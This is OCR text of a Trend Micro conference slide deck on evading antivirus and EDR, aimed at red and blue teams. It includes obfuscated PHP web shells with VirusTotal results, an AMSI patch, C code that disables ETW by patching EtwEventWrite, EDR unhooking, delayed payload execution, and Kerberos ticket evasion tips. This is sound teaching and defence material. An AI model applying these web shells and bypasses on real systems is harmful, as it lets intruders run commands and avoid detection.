EncryptedExtensions

+ sensitive extensions (ALPN, ...)
Certificate

CertificateVerify

Finished

\

Begin Finished

transmitting \
application data

‘ No encryption

GET /index.html HTTP/1.1

T Encrypted under ECH

public key

Encrypted under
handshake traffic key

Encrypted under
application traffic key

T TREND¢
(-4
=
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Static / Dynamic Bypass

@ TREND?



<?php system($_GET["cmd"]); 7>

(D) 7 security vendors and no sandboxes flagged this file as malicious (> Reanalyze = Similar ~  More ~

6433eaebd81178f72c5987bae510a9a9a2c908123d3866b57{652849¢c17b6bbb Size Last Analysis Date
1 minute ago D

a.php

php

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (7) trojan.webshell Threat categories trojan Family labels webshell

Security vendors' analysis (0 Do you want to automate checks?

AhnLab-V3 (T) WebShell/PHP.Small.51347 ESET-NOD32 | ) PHP/Webshell.NGI

Kaspersky Backdoor.PHP.WebShell.sn Rising @ Backdoor.WebShell/PHP!1.D563 (CLAS

Sangfor Engine Zero Backdoor.Generic-PHP.Save.5628c23e Tencent (l) Bk.YDWebShell.Php.Small.11021368

ZoneAlarm by Check Point Backdoor.PHP.WebShell.sn Acronis (Static ML) Undetected

TREND:
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system

(PHP 4, PHP 5, PHP 7, PHP 8)
system — Execute an external program and display the output

Description

system(string $command, int &$result_code = null): string|false

system() is just like the C version of the function in that it executes the given command and outputs the result.

The system() call also tries to automatically flush the web server's output buffer after each line of output if PHP is running as a server
module.

If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru()
function.

¢’ TREND?
-4
=
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<?PHp passthru($ _GET[1]

56 | ©2025 Trend Micro Inc.

Community Score

DETECTION DETAILS

2 security vendors and no sandboxes flagged this file as malicious

831daf7d812bcb04f9d9d81ed4a7463375f679ebbd76af4ef8a9681716d66245

a.php

php

COMMUNITY

’

7>

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (O trojan

Security vendors' analysis

Microsoft

Acronis (Static ML)

AlYac

Arcabit

AVG

Undetected

Undetected

Undetected

Undetected

Undetected

Tencent

AhnLab-V3

Antiy-AVL

Avast

Avira (no cloud)

BitDefender

Threat categories trojan

(> Reanalyze = Similar ~ More ~

0

Do you want to automate checks?

PHPP

Undetected

Undetected

Undetected

Undetected

Undetected
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<?pHp $a='pass';

57| ©2025 Trend Micro Inc.

Community Score

DETECTION DETAILS

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Acronis (Static ML)

AlYac

Arcabit

AVG

($a. 'thru') ($_GET[9487]); 7>

67f57453076b667aef16c9058deacaef21dc2456cc27c5a4bféfba04477e8c16

a.php

php

COMMUNITY

Undetected

Undetected

Undetected

Undetected

Undetected

AhnLab-V3

Antiy-AVL

Avast

Avira (no cloud)

BitDefender

Undetected

Undetected

Undetected

Undetected

Undetected

(> Reanalyze = Similar ~  More ~

Do you want to automate checks?

¢’ TREND?



« Command Line
- The program entered a malicious command.

- It can be scanned through Microsoft's AMSI interface.

« Behavior

- The program did something unusual that it shouldn't have done.

- This may involve various characteristics such as APl Hooking,

network traffic, events, etc.
¢’ TREND?¢



- The program entered a malicious command.

- It can be scanned through Microsoft's interface.

« Behavior

- The program did something unusual that it shouldn't have done.

- This may involve various characteristics such as APl Hooking,

network traffic, events, etc.
¢’ TREND?¢



Win32 APl Layer

COM API Layer

AV Provider Layer

60 | ©2025 Trend Micro Inc.

PowerShell

Other
Application

A

AmsiScanBu
AmsiScanSt

AMSLh + AMSLIib+ AMSI.dil
ffer()
ring()

MsMpEng.exe
(Windows Defender Service)

Amsi h + Amsi.dll
I2ntimalware: : Scan()

Windows Defender Provider Class 3™ Party AV Provider
IAntimalwareProvider: : Scan() Class

}

MpEngine .dll
(Defender Scan Engine)

MpSve.dll
(De fender RPC Server)

¢’ TREND?



« AMSI Bypass Idea

- 1. Find away to

so it won't scan.

- 2. Find a way to change the instruction test rcx, rcx to one that

0:014> u amsi'!AmsiOpenSession
amsi'!AmsiOpenSession:

00007 ffb"
00007 ffb"
00007 ffb"
00007 ffb"
00007 ffb"
00007 ffb"
00007 ffb"
00007 ffb"

61| ©2025 Trend Micro Inc.

cb3cc2b0
cb3cc2bs
cb3cc2b8
cb3cc2ba
cb3cc2co
cb3lce2¢c2
cb3cc2cy
ch3CE26Y

€9533ed615
4885c9

7442
8139414d5349
753a
4883790800
7433
4883791000

jmp
test
je
cmp
S
cmp
je
cmp

00007ffb 1130108

FCX, ECX
amsi!AmsiOpenSession+0x4c
dword ptr [rcx],49534D41h
amsi!AmsiOpenSession+0x4c
qword ptr [rcx+8],0
amsi!AmsiOpenSession+0@x4c
gword ptr [rcx+10h],0

(00007ffb" cb3cc2fc)
(00007ffb  cb3cc2fc)

(00007ffb cb3cc2fc)

¢’ TREND?



$buf = [Bytelll

IS

( :

’

)

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3,

0:008> u 00007ffb  cb3cc2be
amsi!AmsiOpenSession:

00007ffb"
0eee7ffb"
0eee7ffb"
00007ffb"
00007ffb"
00007ffb"
0eee7ffb"
0eee7ffb"

62| ©2025 Trend Micro Inc.

cb3cc2bo
cb3cc2b3
cb3cc2bs
cb3cc2b8
cb3cc2ba
cb3cc2co
cb3cc2c2
cb3cc2c7

4831cO

7447

4885c9

7442
8139414d5349
753a
48837906800
7433

[ref]$oldProtectionBuffer)

rax,rax
amsi!AmsiOpenSession+6x4c
rcx, rcx
amsi!AmsiOpenSession+0x4c
dword ptr [rcx],49534D41h
amsi!AmsiOpenSession+0x4c
quord ptr [rcx+8],0
amsi!AmsiOpenSession+8x4c

(00087 fb"
(00007ffb"
(00007ffb"

(00007ffb"

cb3cc2fc)
cb3cc2fc)

cb3cc2fc)

cb3cc2fc)

Find a way to change the instruction test rcx, rcx to one that sets the Zero Flagto O
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« Command Line
- The program entered a malicious command.

- It can be scanned through Microsoft's AMSI interface.

- The program did something unusual that it shouldn't have done.

- This may involve various characteristics such as APl Hooking,

network traffic, events, etc.
¢’ TREND?¢



ETW Architecture

Control

Controller A
Data Flow =i

Enable/Disable Session Control

Events
Windows Kernel

Event Tracing Sessions

Buffer Buffer Buffer

A "‘ x “‘ .

Session 1 Session 2 Session 64

*

Events : Logged Events

:O“‘ E ““‘ v '0.
—

t; T R E N D 2
-4
=
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ETW (Event Tracing for Windows)

e ETW uses EtwEventWrite function located in ntdll.dll




ETW (Event Tracing for Windows)

* Rewrite the related function so that it returns immediately upon entry.

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

char patch = 0xc3; // ret
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
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* EDRs also use Kernel APl Hooking methods to modify the DLL Return Address to

their own check function.

MAIN.EXE KERNEL32.DLL EDR.DLL

code hooked CreateRemoteThread hooked CreateRemoteThread
code

CreateRemoteThread(....) jmp EDR.DLL!Inspect instructions that check function
code other_instructions arguments, etc

jmp KERNEL32.dll'other_instructions

Src: https://killer.wtf/2022/01/19/CustomJmpUnhook.html t) TREND:
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https://killer.wtf/2022/01/19/CustomJmpUnhook.html

Bypass can be achieved through direct system calls or by manually
specifying a custom jump.

MAIN.EXE NTDLL.DLL

EDR.DLL

Hooked LdrLoadDII()
code

code

7 e I =» Check Function
LdrLoadDII() —~a

___________
code

———————— jmp NTDLL.dII!Other instructions

l Custom Function
1

\

48895C2410 | mov qword ptr [rsp+10h],rbx

49 BB 15 6A AE D8 F8 7F 00 00 mov r11,7FF8D8AE6A15h

41 FFE3 mov r11,7FF8D8AE6A15h

c3 ret

s e e e Src: https://killerwtf/2022/01/19/CustomJmpUnhook.html t) TREND



https://killer.wtf/2022/01/19/CustomJmpUnhook.html

* AV/EDRwill invoke memory scan at any time

- Itwill scan suspicious process
- When process just started

— Just random with no reason

¢’ TREND?
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When a malware just started, don't do bad things immediately

HHEIRIR= - BIRIERIZ

int main(){
char encrypted_payload
sleep(99999);
char decrypted_payload = decrypt_payload(encrypted_payload);
execute_payload(decrypted_payload);

}

Dedod

¢’ TREND?
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* After doing the bad things, encrypt the payload itself

A Cobalt stike User Guice

Welcome to Cobalt Strike ) _
: Payload Artifacts and Anti-virus Evasion

User Interface

The Sleep Mask Kit

Listener and Infrastructure
Management

The default sleep mask performs the following operations for Beacon:
Initial Access

: - Obfuscate Beacon in memory while sleeping
Payload Artifacts and Anti-virus

Evasion Handle proxied WinAPIs that are configured to use the BeaconGate

The Artifact Kit Cleanup memory on exit for a specific case

The Veil Evasion Framework Depending on the operation being performed Beacon will set up two parameters sleepMaskInfo and functionCall and call the entry point.

¢’ TREND?¢
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% . .
. Process Explorer - Sysinternals: www.sysinternals.com [C

File Options View Process Find Handle Users
& EEOE [ F R S it

Process CPU Private Bytes
Fm|svchost.exe 2,436 K

)

mRERllsass.exe
—| Farundll32.exe = 0.01
= Hcmd.exe
o conhost.exe
o mimikatz.exe

Fl fontdrvhost.exe

J:|csrss.exe
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* Don'tuse RC4 (NTLM) for ticket

— Uses AES256!!

e Don'tuse Golden ticket

- Uses Diamond / Sapphire ticket !!

e Don't use default ticket life time / renew time

— Default Rubeus ticket lifetime is 10 years

g™
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Conclusion

=



* For Red Team
- Try to abuse legitimate software to establish a C2 connection.
- If evading the EDR is not possible, attempt to disable it.

* ForBlue Team

- Consider strategies to prevent EDR disabling techniques (e.g., LoLDriver,
exploiting unload functions)

- Be aware that blocking at the network layer may fail in the future.

* For Both

— Stay vigilant and continuously learn about new tactics employed by APT groups.

¢ TREND¢?
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